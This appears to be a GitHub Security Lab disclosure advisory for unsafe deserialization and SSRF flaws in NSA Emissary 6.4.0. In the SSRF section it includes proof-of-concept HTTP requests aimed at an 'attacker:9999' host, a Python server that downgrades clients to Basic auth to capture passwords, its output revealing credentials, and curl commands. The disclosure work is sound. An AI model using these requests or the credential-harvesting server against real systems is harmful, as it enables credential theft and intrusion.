Coordinated Disclosure Timeline

Summary

Emissary is vulnerable to post-authentication Unsafe Deserialization and Server-Side Request Forgery (SSRF)

Product

National Security Agency Emissary

Tested Version

6.4.0

Details

Issue 1: Unsafe Deserialization (GHSL-2021-067)

The WorkSpaceClientEnqueueAction endpoint is vulnerable to Unsafe Deserialization:

    @POST
    @Path("/WorkSpaceClientEnqueue.action")
    @Consumes(MediaType.APPLICATION_FORM_URLENCODED)
    @Produces(MediaType.TEXT_PLAIN)
    public Response workspaceClientEnqueue(@FormParam(WorkSpaceAdapter.CLIENT_NAME) String clientName,
            @FormParam(WorkSpaceAdapter.WORK_BUNDLE_OBJ) String workBundleString) {
        logger.debug("TPWorker incoming execute! check prio={}", Thread.currentThread().getPriority());
        // TODO Doesn't look like anything is actually calling this, should we remove this?
        final boolean success;
        try {
            // Look up the place reference
            final String nsName = KeyManipulator.getServiceLocation(clientName);
            final IPickUpSpace place = (IPickUpSpace) Namespace.lookup(nsName);
            if (place == null) {
                throw new IllegalArgumentException("No client place found using name " + clientName);
            }

            final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(workBundleString.getBytes("8859_1")));
            WorkBundle paths = (WorkBundle) ois.readObject();
            success = place.enque(paths);
        } 
        ...
    }

This endpoint can be reached via authenticated POST request to /WorkSpaceClientEnqueue.action. The form parameter tpObj (WORK_BUNDLE_OBJ) gets decoded and deserialized in line 52

  final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(workBundleString.getBytes("8859_1")));

There are other two unsafe deserializations which are not currently exercised in the code. However they are ticking bombs which can be enabled in future releases:

  1. PayloadUtil.java Exercised in MoveToAction which is currently not exposed by Jersey server.
MoveToAction:
public Response moveTo(@Context HttpServletRequest request) 
  final MoveToAdapter mt = new MoveToAdapter();
  final boolean status = mt.inboundMoveTo(request);

MoveToAdapter:
public boolean inboundMoveTo(final HttpServletRequest req)
  final MoveToRequestBean bean = new MoveToRequestBean(req);
    MoveToRequestBean(final HttpServletRequest req)
      final String agentData = RequestUtil.getParameter(req, AGENT_SERIAL);
      setPayload(agentData);
        this.payload = PayloadUtil.deserialize(s);
                
PayloadUtil:
  ois = new ObjectInputStream(new ByteArrayInputStream(s.getBytes("8859_1"))); 
  1. WorkSpaceAdapter.java Requires a call to inboundEnque() which is currently not exercised. Dataflow to the deserialization on line 305:
WorkspaceAdapter:
public boolean inboundEnque(final HttpServletRequest req)
  final EnqueRequestBean bean = new EnqueRequestBean(req);
    EnqueRequestBean(final HttpServletRequest req)
      setPaths(RequestUtil.getParameter(req, WORK_BUNDLE_OBJ)); 
        final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(s.getBytes("8859_1"))); 

Impact

This issue may lead to post-auth Remote Code Execution. Since version 6.3.0, the endpoint is protected against CSRF attacks, which reduces the impact of the vulnerability. However, if a new XSS vulnerability is introduced in the future, it might allow an attacker to craft a malicious page that, when visited by a victim, will trigger the unsafe deserialization.

Issue 2: Server-Side Request Forgery (GHSL-2021-068)

SSRF in RegisterPeerAction

The RegisterPeerAction endpoint is vulnerable to Server-Side Request Forgery (SSRF). A POST request to the /RegisterPeer.action endpoint will trigger additional requests to hosts controlled by the attacker

For example, the following request will cause multiple requests to be sent to the attacker server (http://attacker:9999)

POST /emissary/RegisterPeer.action? HTTP/1.1
Host: localhost:8001
X-Requested-By: emissary
Content-Type: application/x-www-form-urlencoded

directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace

Some of the forged requests are non-authenticated requests sent to the /emissary/Heartbeat.action endpoint:

POST /emissary/Heartbeat.action HTTP/1.1
X-Requested-By: emissary
Content-Length: 180
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: attacker:9999
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.1 (Java/1.8.0_242)
Accept-Encoding: gzip,deflate

hbf=EMISSARY_DIRECTORY_SERVICES.DIRECTORY.STUDY.http%3A%2F%2Flocalhost%3A8001%2FDirectoryPlace&hbt=http%3A%2F%2Fattacker:9999%2FDirectoryPlace

However, some others are authenticated requests sent to the /emissary/RegisterPeer.action endpoint on the attacker-controlled server:

POST /emissary/RegisterPeer.action HTTP/1.1
X-Requested-By: emissary
Content-Length: 196
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: attacker:9999
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.1 (Java/1.8.0_242)
Accept-Encoding: gzip,deflate

targetDir=http%3A%2F%2Fattacker:9999%2FDirectoryPlace&directoryName=EMISSARY_DIRECTORY_SERVICES.DIRECTORY.STUDY.http%3A%2F%2Flocalhost%3A8001%2FDirectoryPlace

This can be used to scan the internal network or, if this is an authenticated request, leak the user’s password. For example by starting a simple python server which requests Basic authentication, the emissary client will change from Digest auth to Basic auth and will send the credentials to the attacker:

import BaseHTTPServer
from SimpleHTTPServer import SimpleHTTPRequestHandler
import sys

class AuthHandler(SimpleHTTPRequestHandler):
    ''' Main class to present webpages and authentication. '''
    def do_HEAD(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_AUTHHEAD(self):
        self.send_response(401)
        self.send_header('WWW-Authenticate', 'Basic realm=\"Test\"')
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_POST(self):
        ''' Present frontpage with user authentication. '''
        if self.headers.getheader('Authorization') == None:
            self.do_AUTHHEAD()
            self.wfile.write('no auth header received')
            pass
        elif self.headers.getheader('Authorization').startswith('Basic '):
            print("Received: " + (self.headers.getheader('Authorization')[6:]))
            print("Received: " + base64.b64decode(self.headers.getheader('Authorization')[6:]))
            SimpleHTTPRequestHandler.do_GET(self)
            pass
        else:
            self.do_AUTHHEAD()
            self.wfile.write(self.headers.getheader('Authorization'))
            self.wfile.write('not authenticated')
            pass

def test(HandlerClass = AuthHandler,
         ServerClass = BaseHTTPServer.HTTPServer):
    BaseHTTPServer.test(HandlerClass, ServerClass)


if __name__ == '__main__':
    if len(sys.argv)<2:
        print("usage SimpleAuthServer.py [port]")
        sys.exit()
    test()

The output of the server will show the credentials:

~/emissary λ python2 SimpleAuthServer.py 9999
Serving HTTP on 0.0.0.0 port 9999 ...
Received: ZW1pc3Nhcnk6ZW1pc3NhcnkxMjM=
Received: emissary:emissary123
127.0.0.1 - - [13/Apr/2021 12:37:47] code 404, message File not found
127.0.0.1 - - [13/Apr/2021 12:37:47] "POST /emissary/Heartbeat.action HTTP/1.1" 404 -
Received: ZW1pc3Nhcnk6ZW1pc3NhcnkxMjM=
Received: emissary:emissary123
127.0.0.1 - - [13/Apr/2021 12:37:47] code 404, message File not found
127.0.0.1 - - [13/Apr/2021 12:37:47] "POST /emissary/RegisterPeer.action HTTP/1.1" 404 -

SSRF in AddChildDirectoryAction

Similarly the AddChildDirectoryAction endpoint is vulnerable to Server-Side Request Forgery (SSRF). A POST request to the /AddChildDirectory.action endpoint will trigger additional requested to hosts controlled by the attacker:

POST /emissary/AddChildDirectory.action HTTP/1.1
Host: localhost:8001
x-requested-by: 
Content-Type: application/x-www-form-urlencoded

directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace

Impact

This vulnerability may lead to credentials leak.

Resources

Sample cURL requests

curl --location --request POST 'http://localhost:8001/emissary/RegisterPeer.action' \
--header 'x-requested-by: ' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'directoryName=foo.bar.baz.http://localhost:9999/' \
--data-urlencode 'targetDir=http://localhost:8001/DirectoryPlace'
curl --location --request POST 'http://localhost:8001/emissary/AddChildDirectory.action' \
--header 'x-requested-by: ' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'directoryName=foo.bar.baz.http://localhost:9999/' \
--data-urlencode 'targetDir=http://localhost:8001/DirectoryPlace'

CVE

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-067 and GHSL-2021-068 in any communication regarding this issue.